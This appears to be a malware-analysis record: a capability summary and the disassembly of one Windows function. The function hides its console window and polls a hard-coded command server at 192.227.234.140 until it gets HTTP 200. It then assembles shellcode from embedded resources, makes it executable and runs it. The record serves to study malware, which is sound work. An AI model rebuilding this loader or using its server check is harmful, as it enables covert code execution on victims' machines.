Function at 0x1400011a0
Capabilities:
Allocate or change rwx memory
Check http status code
Create http request
Execute shellcode via indirect call
Extract resource via kernel32 functions
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x450], rax
call fcn.140002300
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001208
imul rax, rax, 0x64
jmp 0x140001226
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.140001870
call fcn.140002300
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
xor r15d, r15d
lea rcx, [0x140005490]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea edx, [r15 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
jne 0x140001284
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005494]
call fcn.140001650
jmp 0x140001306
mov qword [rsp + 0x28], r15
lea rdx, [0x140005498]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x1400012d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005494]
call fcn.140001650
jmp 0x1400012fd
lea r9, [rsp + 0x38]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400012f4
cmp dword [rsp + 0x38], r15d
ja 0x1400012d0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rbp, 0x7fffffffc46535ff
movabs rsi, 0x7fffffffffffffff
mov r12d, 0x3e8
mov r13, 0xffffffffffffffff
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [0x140005490]
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x1400013af
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005494]
call fcn.140001650
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005490]
call fcn.140001650
lea rdx, [0x140001830]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001584
imul rax, rax, 0x64
jmp 0x1400015a2
mov qword [rsp + 0x28], r15
lea rdx, str.http:__192.227.234.140:65530_index_update
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x1400013fb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005494]
call fcn.140001650
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001367
lea r9, [rsp + 0x38]
mov dword [rsp + 0x38], 4
lea r8, [rsp + 0x3c]
mov qword [rsp + 0x20], r15
mov edx, 0x20000013
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x14000144e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005494]
call fcn.140001650
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001367
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [rsp + 0x3c], 0xc8
jne 0x140001367
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140005490]
call fcn.140001650
mov rcx, rax
lea rdx, [0x140001830]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r14, r15
mov edi, r15d
mov ebx, 1
nop dword [rax]
xor ecx, ecx
lea eax, [r12 + rbx]
movzx edx, ax
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x14000157b
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rax, rax
je 0x140001572
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rbp
movsxd rsi, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov edx, edi
mov rcx, r14
add edx, esi
mov rbp, rax
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r14, rax
test rax, rax
je 0x14000154c
movsxd rcx, edi
mov r8, rsi
add rcx, rax
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
add edi, esi
inc ebx
cmp ebx, 0xb
jle 0x1400014a0
movsxd rdx, edi
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r14
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001559
lea rcx, str.Error_allocating_memory_for_combined_shellcode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
movabs rsi, 0x7fffffffffffffff
movabs rbp, 0x7fffffffc46535ff
jmp 0x14000138a
lea rcx, str.Error_loading_resource
jmp 0x140001553
lea rcx, str.Error_finding_resource
jmp 0x140001553
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rbp
jge 0x1400015c1
add rax, 0x3b9aca00
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.140001870
jmp 0x140001330
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
call fcn.140001870
jmp 0x140001330